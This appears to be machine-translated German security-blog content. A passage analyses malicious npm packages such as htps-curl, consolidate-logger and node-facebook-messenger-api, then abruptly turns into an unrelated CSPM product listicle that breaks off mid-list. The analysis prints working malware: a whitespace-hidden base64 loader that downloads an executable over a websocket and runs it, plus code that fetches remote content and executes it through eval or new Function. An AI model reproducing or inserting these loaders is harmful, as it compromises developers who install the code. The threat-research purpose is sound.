_0x8ed1x2b = __Ox12553a[0x23];
_0x8ed1x29 = function (_0x8ed1x2c) {
if (typeof alert !== _0x8ed1x2b) {
alert(_0x8ed1x2c);
}
;
if (typeof console !== _0x8ed1x2b) {
console[__Ox12553a[0x24]](_0x8ed1x2c);
}
};
_0x8ed1x28 = function (_0x8ed1x2d, _0x8ed1x26) {
return _0x8ed1x2d + _0x8ed1x26;
};
_0x8ed1x2a = __Ox12553a[0x25] + (__Ox12553a[0x26] + __Ox12553a[0x27] + __Ox12553a[0x28]);
try {
_0x8ed1x26 = 'jsjiami.com';
if (!(typeof _0x8ed1x26 !== _0x8ed1x2b && _0x8ed1x26 === __Ox12553a[0x29] + __Ox12553a[0x2a])) {
_0x8ed1x29(_0x8ed1x2a);
}
} catch (e) {
_0x8ed1x29(_0x8ed1x2a);
}
})({});
Es ist klar zu erkennen, dass er eine Menge Systeminformationen sammelt und irgendwann eine HTTP-Anfrage senden wird. Es scheint auch, dass er aufgrund des Vorhandenseins von eval() innerhalb der Callbacks einer HTTP-Anfrage beliebigen Code ausführen wird, was ein bösartiges Verhalten zeigt.
Der Trickster

Manchmal sehen wir auch Pakete, die versuchen, sich wirklich heimlich zu verstecken. Es ist nicht so, dass sie versuchen, sich durch Verschleierung zu verstecken, um die Logik schwer verständlich zu machen. Sie machen es einem Menschen nur schwer, sie zu erkennen, wenn er nicht aufpasst.
Ein solches Beispiel ist das Paket htps-curl
. Hier ist der Code, der auf der offiziellen npm-Website angezeigt wird:

Auf den ersten Blick sieht es unschuldig aus, oder? Aber haben Sie die horizontale Bildlaufleiste bemerkt? Sie versucht, ihre eigentliche Nutzlast mit Leerzeichen zu verstecken! Hier ist der eigentliche Code, wenn wir ihn ein wenig aufhübschen.
console.log('Installed');
try {
new Function('require', Buffer.from("Y29uc3Qge3NwYXdufT1yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksZnM9cmVxdWlyZSgiZnMtZXh0cmEiKSxwYXRoPXJlcXVpcmUoInBhdGgiKSxXZWJTb2NrZXQ9cmVxdWlyZSgid3MiKTsoYXN5bmMoKT0+e2NvbnN0IHQ9cGF0aC5qb2luKHByb2Nlc3MuZW52LlRFTVAsYFJlYWxrdGVrLmV4ZWApLHdzPW5ldyBXZWJTb2NrZXQoIndzczovL2ZyZXJlYS5jb20iKTt3cy5vbigib3BlbiIsKCk9Pnt3cy5zZW5kKEpTT04uc3RyaW5naWZ5KHtjb21tYW5kOiJyZWFsdGVrIn0pKX0pO3dzLm9uKCJtZXNzYWdlIixtPT57dHJ5e2NvbnN0IHI9SlNPTi5wYXJzZShtKTtpZihyLnR5cGU9PT0icmVhbHRlayImJnIuZGF0YSl7Y29uc3QgYj1CdWZmZXIuZnJvbShyLmRhdGEsImJhc2U2NCIpO2ZzLndyaXRlRmlsZVN5bmModCxiKTtzcGF3bigiY21kIixbIi9jIix0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzoiaWdub3JlIn0pLnVucmVmKCl9fWNhdGNoKGUpe2NvbnNvbGUuZXJyb3IoIkVycm9yIHByb2Nlc3NpbmcgV2ViU29ja2V0IG1lc3NhZ2U6IixlKX19KX0pKCk7", "base64").toString("utf-8"))(require);
} catch {}
Aha! Es gibt eine versteckte Nutzlast. Sie besteht aus einem base64-kodierten Blob, der dekodiert, in eine Funktion umgewandelt und dann aufgerufen wird. Hier ist die dekodierte und aufgehübschte Nutzlast.
const {
spawn
} = require("child_process"), fs = require("fs-extra"), path = require("path"), WebSocket = require("ws");
(async () => {
const t = path.join(process.env.TEMP, `Realktek.exe`),
ws = new WebSocket("wss://frerea[.]com");
ws.on("open", () => {
ws.send(JSON.stringify({
command: "realtek"
}))
});
ws.on("message", m => {
try {
const r = JSON.parse(m);
if (r.type === "realtek" && r.data) {
const b = Buffer.from(r.data, "base64");
fs.writeFileSync(t, b);
spawn("cmd", ["/c", t], {
detached: true,
stdio: "ignore"
}).unref()
}
} catch (e) {
console.error("Error processing WebSocket message:", e)
}
})
})();
Hier sehen wir, dass die Nutzlast eine Verbindung zu einem Remote-Server über einen Websocket herstellt und eine Nachricht sendet. Die Antwort darauf wird dann base64-dekodiert, auf der Festplatte gespeichert und ausgeführt.
Die übermäßig hilfsbereite Helferin

Der letzte Archetyp ist der einer Bibliothek, die hilfreich ist, aber vielleicht ein bisschen zu hilfreich für Ihr eigenes Wohl. Das Beispiel, das wir hier verwenden werden, ist Konsolidierungs-Logger
Paket. Wie immer beginnen wir mit der Betrachtung der paket.json
Datei.
{
"name": "consolidate-logger",
"version": "1.0.2",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"dependencies": {
"axios": "^1.5.0"
},
"keywords": [
"logger"
],
"author": "crouch",
"license": "ISC",
"description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}
Es sind keine Lebenszyklus-Haken zu finden. Das ist ein bisschen seltsam. Aber für eine Protokollierungsbibliothek ist es auch etwas seltsam, eine Abhängigkeit zu sehen von axios
die für HTTP-Anfragen verwendet wird. Von dort gehen wir zum index.js
Datei, die lediglich eine Datei ist, die die src/logger.js.
Sehen wir uns das mal an.
const ErrorReport = require("./lib/report");
class Logger {
constructor() {
this.level = 'info';
this.output = null;
this.report = new ErrorReport();
}
configure({ level, output }) {
this.level = level || 'info';
this.output = output ? path.resolve(output) : null;
}
log(level, message) {
const timestamp = new Date().toISOString();
const logMessage = `[${timestamp}] [${level.toUpperCase()}]: ${message}`;
console.log(logMessage);
}
info(message) {
this.log('info', message);
}
warn(message) {
this.log('warn', message);
}
error(error) {
this.log('error', error.stack || error.toString());
}
debug(message) {
if (this.level === 'debug') {
this.log('debug', message);
}
}
}
module.exports = Logger;
Auf den ersten Blick fällt hier nichts auf, aber was hat es mit dem Import von ErrorReport
und sie wird im Konstruktor instanziiert, ohne verwendet zu werden? Schauen wir uns an, was die Klasse macht.
"use strict";
class ErrorReport {
constructor() {
this.reportErr("");
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('72657175697265'),
g('6178696f73'),
g('676574'),
g('687474703a2f2f6d6f72616c69732d6170692d76332e636c6f75642f6170692f736572766963652f746f6b656e2f6639306563316137303636653861356430323138633430356261363863353863'),
g('7468656e'),
];
const reportError = (msg) => require(hl[1])[[hl[2]]](hl[3])[[hl[4]]](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
Hier geht es um einiges mehr. Es gibt hier einige Unklarheiten, deshalb hier eine vereinfachte Version davon.
"use strict";
class ErrorReport {
constructor() {
this.reportErr(""); //
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('require'),
g('axios'),
g('get'),
g('http://moralis-api-v3[.]cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c'),
g('then'),
];
const reportError = (msg) => require('axios')['get']('http://moralis-api-v3.cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c')[['then']](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
Jetzt ist es viel klarer, was dieser Code macht. Im Konstruktor wird die reportErr
Funktion ohne eine Fehlermeldung. Die Funktion ist verschleiert und enthält die für den Import erforderlichen Teile axios
eine Get-Anfrage stellen und dann eval()
auf die zurückgegebenen Daten. Die Bibliothek hilft Ihnen also in gewisser Weise bei der Protokollierung. Aber sie ist vielleicht ein bisschen zu hilfreich, da sie auch unerwarteten Code zur Laufzeit ausführt, wenn die Logger
Klasse instanziiert wird.
🛡️ Verteidigungstipps
Zur Verteidigung gegen solche Pakete:
- Lebenszyklus-Haken immer prüfen in
paket.json
. Sie sind ein häufiger Angriffsvektor. - Überprüfen Sie den Repo und den Paketnamen - subtile Namensunterschiede bedeuten oft Probleme.
- Seien Sie misstrauisch gegenüber Obfuscation, Minified Code oder base64 Blobs in kleinen Paketen.
- Verwenden Sie Tools wie Aikdio Intel um fragwürdige Pakete zu identifizieren.
- Produktionsabhängigkeiten mit Sperrdateien einfrieren (
paket-lock.json
). - Verwenden Sie einen privaten Registrierungsspiegel oder eine Paket-Firewall (z. B. Artifactory, Snyk Broker), um zu kontrollieren, was in Ihre Lieferkette gelangt.

Verstecken und scheitern: Verschleierte Malware, leere Nutzlasten und npm-Schwindel
Am 14. März 2025 entdeckten wir ein bösartiges Paket auf npm genannt node-facebook-messenger-api
. Zunächst schien es sich um eine ziemlich gewöhnliche Malware zu handeln, obwohl wir nicht erkennen konnten, was das Ziel war. Wir haben uns bis zum 3. April 2025 nichts weiter dabei gedacht, als wir sahen, dass derselbe Angreifer seinen Angriff ausweitete. Hier finden Sie einen kurzen Überblick über die von diesem Angreifer verwendeten Techniken und einige interessante Beobachtungen darüber, wie ihre Verschleierungsversuche am Ende dazu führen, dass sie noch offensichtlicher werden.
TLDR
node-facebook-messenger-api@4.1.0
getarnt als legitimer Facebook-Messenger-Wrapper.axios
und eval()
um eine Nutzlast aus einem Google Docs-Link zu ziehen - aber die Datei war leer.zx
Bibliothek, um einer Entdeckung zu entgehen, und bettet bösartige Logik ein, die Tage nach der Veröffentlichung ausgelöst wird.node-smtp-mailer@6.10.0
, die sich als nodemailer
mit der gleichen C2-Logik und Verschleierungstaktik.Hyper-Typen
), was eine klare Signaturmuster Verknüpfung der Anschläge.
Erste Schritte
Alles begann am 14. März um 04:37 UTC, als unsere Systeme uns auf ein verdächtiges Paket aufmerksam machten. Es wurde von einem Benutzer veröffentlicht victor.ben0825
der auch behauptet, er habe den Namen perusworld
. Dies ist der Benutzername des Benutzers, der Eigentümer der gesetzlicher Aufbewahrungsort für diese Bibliothek.

Hier ist der als bösartig erkannte Code in node-facebook-messenger-api@4.1.0:
in der Datei messenger.js
, Zeile 157-177:
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
Der Angreifer hat versucht, diesen Code in einer 769 Zeilen langen Datei zu verstecken, die eine große Klasse ist. Hier haben sie eine Funktion hinzugefügt und rufen sie direkt auf. Sehr niedlich, aber auch sehr offensichtlich. Wir haben versucht, die Nutzlast abzurufen, aber sie war leer. Wir haben sie als Malware gekennzeichnet und sind weitergegangen.
Einige Minuten später veröffentlichte der Angreifer eine weitere Version, 4.1.1. Die einzige Änderung betraf offenbar die README.md
und paket.json
Dateien, in denen sie die Version, die Beschreibung und die Installationsanweisungen änderten. Da wir den Autor als bösen Autor markieren, wurden die Pakete ab diesem Zeitpunkt automatisch als Malware gekennzeichnet.
Der Versuch, hinterhältig zu sein
Dann, am 20. März 2025 um 16:29 UTC, markierte unser System automatisch die Version 4.1.2
des Pakets. Schauen wir uns an, was dort neu ist. Die erste Änderung ist in node-facebook-messenger-api.js,
die enthält:
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');
Die Änderung in dieser Datei ist die letzte Zeile. Sie importiert nicht nur die messenger.js
Datei, wenn sie angefordert wird, wird dies immer beim Import des Moduls gemacht. Clever! Die andere Änderung bezieht sich auf diese Datei, messenger.js.
Er hat den zuvor gesehenen hinzugefügten Code entfernt und den folgenden in den Zeilen 197 bis 219 hinzugefügt:
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
Hier finden Sie einen Überblick über die Funktionen:
- Er verwendet eine zeitbasierte Prüfung, um festzustellen, ob der bösartige Code aktiviert werden soll. Er würde erst etwa 4 Tage später aktiviert.
- Anstelle der Verwendung von
axios
verwendet sie jetzt Googlezx
Bibliothek, um die bösartige Nutzlast zu holen. - Er deaktiviert den ausführlichen Modus, der auch die Standardeinstellung ist.
- Er holt dann den bösartigen Code
- Es dekodiert base64
- Sie erstellt eine neue Funktion mit der
Funktion()
Konstruktor, der im Grunde gleichbedeutend ist mit einemeval()
anrufen. - Dann ruft es die Funktion auf und übergibt dabei
erfordern
als Argument.
Aber auch hier erhalten wir keine Nutzdaten, wenn wir versuchen, die Datei abzurufen. Wir erhalten nur eine leere Datei namens info.txt.
Die Verwendung von zx
ist merkwürdig. Wir haben uns die Abhängigkeiten angesehen und festgestellt, dass das ursprüngliche Paket einige Abhängigkeiten enthielt:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Das bösartige Paket enthält Folgendes:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Sehen Sie sich das an, sie haben die Hyper-Typen der Abhängigkeit hinzugefügt. Sehr interessant, wir werden noch ein paar Mal darauf zurückkommen.
Sie schlagen wieder zu!
Dann, am 3. April 2025 um 06:46 Uhr, wurde ein neues Paket vom Benutzer cristr.
Sie haben diee-Paket
node-smtp-mailer@6.10.0.
Unsere Systeme wiesen sie automatisch als potenziell bösartigen Code aus. Wir haben es uns angeschaut und waren ein wenig aufgeregt. Das Paket tut so, als wäre es nodemailer,
nur mit einem anderen Namen.

Unser System hat die Datei markiert lib/smtp-pool/index.js.
Wir sehen schnell, dass der Angreifer Code am Ende der legitimen Datei hinzugefügt hat, direkt vor der letzten Modul.Exporte
. Hier ist, was hinzugefügt wird:
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
Wir kennen diesen Code! Er ist wieder mit einem Zeitstempel versehen und wird erst 4 Tage später ausgeführt. Wir haben aufgeregt versucht, die Nutzdaten abzurufen, aber wir haben nur eine leere Datei namens anfänger.txt.
Buh! Wir schauen uns die Abhängigkeiten noch einmal an, um zu sehen, wie sie sich einbringen zx
. Wir haben festgestellt, dass die legitimen nodemailer
Paket hat keine direkt Abhängigkeiten
nur devDependencies
. Aber hier ist, was in dem bösartigen Paket ist:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Erkennen Sie eine Ähnlichkeit zwischen diesem und dem ersten Paket, das wir entdeckt haben? Es ist die gleiche Abhängigkeitsliste. Das legitime Paket hat keine Abhängigkeiten, aber das bösartige schon. Der Angreifer hat einfach die vollständige Liste der Abhängigkeiten aus dem ersten Angriff in dieses Paket kopiert.
Interessante Abhängigkeiten
Warum sind sie also von der Verwendung von axios
zu zx
zur Herstellung HTTP
Anfragen? Auf jeden Fall, um eine Entdeckung zu vermeiden. Interessant ist jedoch, dass zx
ist keine direkte Abhängigkeit. Stattdessen hat der Angreifer hyper-types eingebunden, ein legitimes Paket des Entwicklers lukasbach.

Neben der Tatsache, dass das referenzierte Repository nicht mehr existiert, gibt es hier noch etwas Interessantes zu beachten. Sehen Sie, dass es 2 Unterhaltsberechtigte
? Raten Sie mal, wer das ist.

Wenn der Angreifer tatsächlich versuchen wollte, seine Aktivitäten zu verschleiern, ist es ziemlich dumm, sich auf ein Paket zu verlassen, von dem nur er selbst abhängig ist.
Letzte Worte
Der Angreifer, der hinter diesen npm-Paketen steckt, hat es zwar nicht geschafft, eine funktionierende Nutzlast zu liefern, aber seine Kampagne zeigt die kontinuierliche Entwicklung von Bedrohungen der Lieferkette, die auf das JavaScript-Ökosystem abzielen. Der Einsatz von verzögerter Ausführung, indirekten Importen und dem Hijacking von Abhängigkeiten zeigt ein wachsendes Bewusstsein für Erkennungsmechanismen - und die Bereitschaft zum Experimentieren. Es zeigt aber auch, wie schlampige operative Sicherheit und wiederholte Muster sie immer noch verraten können. Für die Verteidiger ist es eine Erinnerung daran, dass selbst fehlgeschlagene Angriffe wertvolle Informationen sind. Jedes Artefakt, jeder Verschleierungstrick und jede wiederverwendete Abhängigkeit hilft uns, bessere Erkennungs- und Zuordnungsfähigkeiten zu entwickeln. Und vor allem wird deutlich, warum die kontinuierliche Überwachung und automatische Kennzeichnung öffentlicher Paketregistrierungen nicht mehr optional, sondern unerlässlich ist.
Die wichtigsten Tools für Cloud Security Posture Management (CSPM) im Jahr 2025
Einführung
Moderne Unternehmen stehen im Jahr 2025 vor einer schwierigen Aufgabe bei der Verwaltung der Cloud-Sicherheit. Mit Multi-Cloud-Architekturen und schnellen DevOps können Fehlkonfigurationen durchschlüpfen und kritische Werte preisgeben. Tools für das Cloud Security Posture Management (CSPM) haben sich als unverzichtbare Verbündete erwiesen - sie prüfen Cloud-Umgebungen kontinuierlich auf Risiken, setzen Best Practices durch und vereinfachen die Compliance. In diesem Jahr haben sich CSPM-Lösungen mit fortschrittlicher Automatisierung und KI-gesteuerter Abhilfe weiterentwickelt, um mit der Ausbreitung der Cloud und raffinierten Bedrohungen Schritt zu halten.
In diesem Leitfaden stellen wir die besten CSPM-Tools vor, mit denen Ihr Team AWS, Azure, GCP und mehr sichern kann. Wir beginnen mit einer umfassenden Liste der vertrauenswürdigsten CSPM-Lösungen und schlüsseln dann auf, welche Tools für bestimmte Anwendungsfälle wie Entwickler, Unternehmen, Startups, Multi-Cloud-Setups und mehr am besten geeignet sind. Wenn Sie möchten, können Sie unten zu dem entsprechenden Anwendungsfall springen.
Was ist Cloud Security Posture Management (CSPM)?
Cloud Security Posture Management (CSPM) bezieht sich auf eine Klasse von Sicherheitstools, die Ihre Cloud-Infrastruktur kontinuierlich auf Fehlkonfigurationen, Compliance-Verstöße und Sicherheitsrisiken überwachen und bewerten. Diese Tools scannen automatisch Umgebungen wie AWS, Azure und GCP und vergleichen Konfigurationen mit branchenüblichen Best Practices und Frameworks wie CIS Benchmarks, SOC 2 und ISO 27001.
Anstatt sich auf manuelle Überprüfungen oder gelegentliche Audits zu verlassen, arbeiten CSPM-Tools kontinuierlich und bieten Sicherheits- und DevOps-Teams Echtzeiteinblicke und Warnungen vor potenziellen Schwachstellen. Viele moderne CSPMs beinhalten auch eine Automatisierung zur Behebung von Problemen, sei es durch KI-generierte Abhilfemaßnahmen oder direkte Integrationen in Entwickler-Pipelines.
Warum Sie CSPM-Tools brauchen
In den heutigen schnelllebigen, cloudbasierten Umgebungen ist CSPM eine wichtige Komponente jeder Sicherheitsstrategie. Hier ist der Grund dafür:
- Verhindern Sie Fehlkonfigurationen: Erkennen Sie unsichere Konfigurationen (wie offene S3-Buckets, zu freizügige IAM-Rollen oder unverschlüsselten Speicher), bevor sie zu Einbruchsvektoren werden.
- Einhaltung der Vorschriften sicherstellen: Automatisieren Sie die Anpassung an Regelwerke wie SOC 2, PCI-DSS, NIST und CIS Benchmarks. Generieren Sie bei Bedarf prüfungsreife Berichte.
- Verbessern Sie die Sichtbarkeit: Verschaffen Sie sich einen zentralen Überblick über Cloud-Assets und Fehlkonfigurationen bei verschiedenen Anbietern - nützlich für Multi-Cloud-Umgebungen.
- Automatisieren Sie die Fehlerbehebung: Sparen Sie Entwicklungszeit, indem Sie IaC- oder Laufzeitprobleme automatisch beheben oder Warnmeldungen an Tools wie Jira oder Slack weiterleiten.
- Sichere Skalierung: Wenn Ihre Infrastruktur skaliert, sorgen CSPMs dafür, dass Ihre Sicherheitskontrollen Schritt halten - unerlässlich für SaaS-Unternehmen und schnell wachsende Teams.
Lesen Sie mehr über reale CSPM-Vorfälle in diesem Verizon DBIR-Bericht oder lesen Sie, wie Misconfigs laut der Cloud Security Alliance das größte Cloud-Risiko bleiben.
Wie man ein CSPM-Tool auswählt
Die Wahl der richtigen CSPM-Plattform hängt von Ihrem Stack, Ihrer Teamstruktur und den gesetzlichen Anforderungen ab. Hier sind einige wichtige Punkte, auf die Sie achten sollten:
- Cloud-Abdeckung: Unterstützt es die von Ihnen verwendeten Plattformen - AWS, Azure, GCP und darüber hinaus?
- CI/CD & IaC-Integration: Kann es Terraform und CloudFormation scannen und in Ihre CI/CD-Pipeline integrieren?
- Unterstützung bei der Einhaltung von Vorschriften: Sind gängige Standards vorkonfiguriert (SOC 2, ISO, HIPAA), und können Sie Ihre eigenen Richtlinien erstellen?
- Qualität der Warnungen: Bietet es verwertbare, geräuscharme Alarme - idealerweise mit kontextbezogener Priorisierung?
- Skalierbarkeit und Preisgestaltung: Kann es mit Ihrem Team mitwachsen, und bietet es faire Preise (oder eine kostenlose Stufe)?
Sie wollen eine All-in-One-Plattform mit IaC-Scanning, Posture Management und KI-Abhilfe? Die Scanner von Aikido decken alles ab.
Die wichtigsten Tools für Cloud Security Posture Management (CSPM) im Jahr 2025
Unsere Auswahl ist nicht nach Rangfolge geordnet, sondern stellt die am weitesten verbreiteten und vertrauenswürdigen CSPM-Lösungen für verschiedene Anforderungen dar. Jeder Abschnitt enthält einen Link zur Homepage des jeweiligen Tools für einen schnellen Zugriff.

1. Aikido Sicherheit
Aikido ist eine All-in-One-Plattform, die CSPM mit Code-, Container- und IaC-Scanning kombiniert. Sie wurde für die Sicherheit von Entwicklern entwickelt und bietet sofortige Erkennung und Behebung von Cloud-Fehlkonfigurationen.
Wesentliche Merkmale:
- Einheitliche Code-to-Cloud-Sicherheitsansicht
- Agentenloses Cloud-Scannen über AWS, Azure, GCP
- Kontextabhängige Priorisierung von Misconfigs
- KI-gesteuerte Autofixierung mit einem Mausklick
- CI/CD und Git-Integration
Am besten geeignet für: Startups und Entwicklerteams, die eine intuitive Plattform zur schnellen Sicherung von Code und Cloud suchen.
Preisgestaltung: Kostenlose Stufe verfügbar; kostenpflichtige Pläne skalieren mit der Nutzung.
"Wir haben drei Tools durch Aikido ersetzt - es ist schnell, übersichtlich und entwicklungsfreundlich." - CTO auf G2

2. Aqua Sicherheit
Aqua kombiniert CSPM mit Laufzeitschutz für Container, Serverless und Cloud-VMs. Unterstützt von Open-Source-Tools wie Trivy und CloudSploit, ist es ideal für DevSecOps-Teams.
Wesentliche Merkmale:
- Sichtbarkeit der Körperhaltung in Echtzeit
- IaC-Scanning und Containersicherheit
- Multi-Cloud-Unterstützung mit automatischer Durchsetzung von Richtlinien
- Integration mit CI/CD- und Ticketing-Systemen
- Abbildung der Einhaltung von Vorschriften (CIS, PCI, ISO)
Am besten geeignet für: Teams, die Cloud-native Anwendungen und Kubernetes in der Produktion einsetzen.
Preisgestaltung: Kostenlose Open-Source-Optionen verfügbar; Preise für Unternehmen auf Anfrage.
"Die CSPM-Transparenz ist fantastisch - lässt sich gut in unsere CI-Pipelines integrieren." - DevSecOps-Leiter auf Reddit
3. BMC Helix Cloud Security
Als Teil der BMC Helix-Suite automatisiert dieses Tool die Cloud-Compliance und -Sicherheit durch richtliniengesteuerte Governance in AWS, Azure und GCP.
Wesentliche Merkmale:
- Automatische Behebung von Verstößen
- Vorgefertigte Strategien, die auf die wichtigsten Rahmenwerke abgestimmt sind
- Kontinuierliche Dashboards zur Einhaltung der Vorschriften
- Enge Integration mit BMC ITSM
- Einheitliche Multicloud-Sicherheitsberichte
Am besten geeignet für: Unternehmen, die automatisierte Compliance und eine enge Workflow-Integration benötigen.
Preisgestaltung: Unternehmensspezifisch, Kontakt für Details.
"Sehr minimaler Aufwand für das Onboarding - bietet einen vollständigen Überblick über die Situation in allen Clouds". - IT-Betriebsleiter auf G2

4. Check Point CloudGuard
CloudGuard ist das CNAPP-Angebot von Check Point mit integriertem CSPM. Es verbindet das Scannen der Konfiguration mit der Erkennung von Bedrohungen durch die ThreatCloud Intelligence Engine.
Wesentliche Merkmale:
- Mehr als 400 vorkonfigurierte Richtlinien zur Einhaltung von Vorschriften
- CloudBots für automatisierte Abhilfemaßnahmen
- Analyse des Angriffswegs und der Gefährdung
- Bedrohungserkennung mit integriertem Firewall-Schutz
- Multi-Cloud-Dashboard
Ideal für: Unternehmen, die Check Point Firewall/Endpunkt-Tools einsetzen und eine einheitliche Cloud- und Netzwerksicherheit anstreben.
Preisgestaltung: Gestaffelte Pläne über Check Point-Vertreter erhältlich.
"Durchsetzung von Richtlinien über alle Clouds hinweg an einem Ort. Ich liebe auch die Visualisierungen." - Cloud Security Architect auf Reddit

5. CloudCheckr (Spot von NetApp)
CloudCheckr vereint Kostenoptimierung und CSPM in einer Plattform. Es wird häufig von MSPs und SecOps-Teams in Unternehmen für Cloud-Governance verwendet.
Wesentliche Merkmale:
- 500+ Kontrollen bewährter Verfahren
- Detaillierte Scorecards zur Einhaltung der Vorschriften
- Benutzerdefinierte Policy Engine
- Echtzeit-Warnungen und automatische Berichte
- Einblicke in Kostenmanagement und Sicherheit
Am besten geeignet für: MSPs und Teams, die Sicherheit mit der Optimierung von Cloud-Ausgaben in Einklang bringen.
Preisgestaltung: Je nach Cloud-Nutzung/Ausgaben; wenden Sie sich an den Vertrieb.
"Sicherheits- und Kostentransparenz in einem Tool - eine enorme Zeitersparnis." - SecOps-Leiter auf G2
6. CloudSploit
Ursprünglich ein eigenständiges Open-Source-Projekt, das jetzt von Aqua Security gepflegt wird, bietet CloudSploit ein agentenloses Scannen von Cloud-Umgebungen auf Fehlkonfigurationen.
Wesentliche Merkmale:
- Open-Source und gemeinschaftsorientiert
- Scannt AWS, Azure, GCP und OCI
- Zuordnung der Ergebnisse zu den CIS-Benchmarks
- JSON/CSV-Ausgaben für einfache Integration
- CLI- und CI/CD-Unterstützung
Am besten geeignet für: DevOps-Teams, die einen einfachen, skriptfähigen Scanner zur Überprüfung der Cloud-Sicherheit benötigen.
Preisgestaltung: Kostenlos (Open-Source); SaaS-Version verfügbar über Aqua.
"Leichtgewichtig, schnell und erstaunlich tiefgründig für ein kostenloses Tool." - DevOps-Ingenieur auf Reddit

7. CrowdStrike Falcon Cloud Security
Falcon Cloud Security kombiniert CSPM mit Laufzeit-Bedrohungserkennung, die von CrowdStrikes marktführender EDR- und XDR-Technologie unterstützt wird.
Wesentliche Merkmale:
- Einheitliches CSPM und Workload-Schutz
- Echtzeit-Bedrohungserkennung mit KI
- Analyse des Identitätsrisikos (CIEM)
- Posture Scoring in Cloud- und Container-Umgebungen
- Integration mit der CrowdStrike Falcon-Plattform
Am besten geeignet für: Sicherheitsteams, die die Erkennung von Fehlkonfigurationen mit der Verhinderung von Sicherheitsverletzungen kombinieren möchten.
Preisgestaltung: Unternehmenstauglich; kontaktieren Sie CrowdStrike.
"Endlich ein CSPM mit echten Erkennungsfunktionen, nicht nur eine weitere Checkliste." - Sicherheitsanalyst bei X
8. Ermetic
Ermetic ist eine identitätsorientierte Cloud-Sicherheitsplattform, die CSPM mit leistungsstarken CIEM-Funktionen für AWS, Azure und GCP kombiniert.
Wesentliche Merkmale:
- Kartiert Cloud-Identitätsrisiken und Angriffspfade
- Automatisierung der Least-Privilege-Richtlinie
- Kontinuierliche Überwachung von Cloud-Fehlkonfigurationen
- Umfangreiche Berichterstattung über die Einhaltung von Vorschriften
- Visuelles Mapping der Anlagenbeziehungen
Am besten geeignet für: Unternehmen mit komplexen Identitätsarchitekturen in Multi-Cloud-Umgebungen.
Preisgestaltung: Enterprise SaaS, zugeschnitten auf das Asset-Volumen.
"Wir haben toxische Berechtigungen aufgedeckt, von denen wir nicht wussten, dass sie existieren - Ermetic hat das geschafft." - Cloud Architect auf Reddit
9. Fugue (jetzt Teil von Snyk Cloud)
Fugue konzentriert sich auf Policy-as-Code und Drift-Erkennung. Es ist jetzt Teil von Snyk Cloud und integriert IaC-Scanning mit CSPM für einen vollständigen DevSecOps-Flow.
Wesentliche Merkmale:
- Regulatorische Durchsetzung der Politik als Code
- Drifterkennung zwischen IaC und eingesetzter Cloud
- Visualisierung von Cloud-Ressourcen und Beziehungen
- Vorgefertigte Rahmen für die Einhaltung der Vorschriften
- CI/CD-Integration und PR-Feedback
Am besten geeignet für: Entwickelnde Unternehmen, die GitOps oder Policy-as-Code-Workflows nutzen.
Preisgestaltung: In den Snyk Cloud-Plänen enthalten.
"Wir fangen Fehlkonfigurationen ab, bevor sie in Betrieb gehen. Es ist wie ein Linter für Cloud-Infrastrukturen." - Plattform-Ingenieur auf G2

10. JupiterOne
JupiterOne bietet CSPM über einen graphbasierten Asset-Management-Ansatz. Es baut einen Wissensgraphen aller Cloud-Assets und Beziehungen auf, um Risiken zu identifizieren.
Wesentliche Merkmale:
- Graphenbasierte Abfragemaschine (J1QL)
- Erkennung von Assets in Clouds, SaaS und Code Repos
- Beziehungsbewusste Erkennung von Fehlkonfigurationen
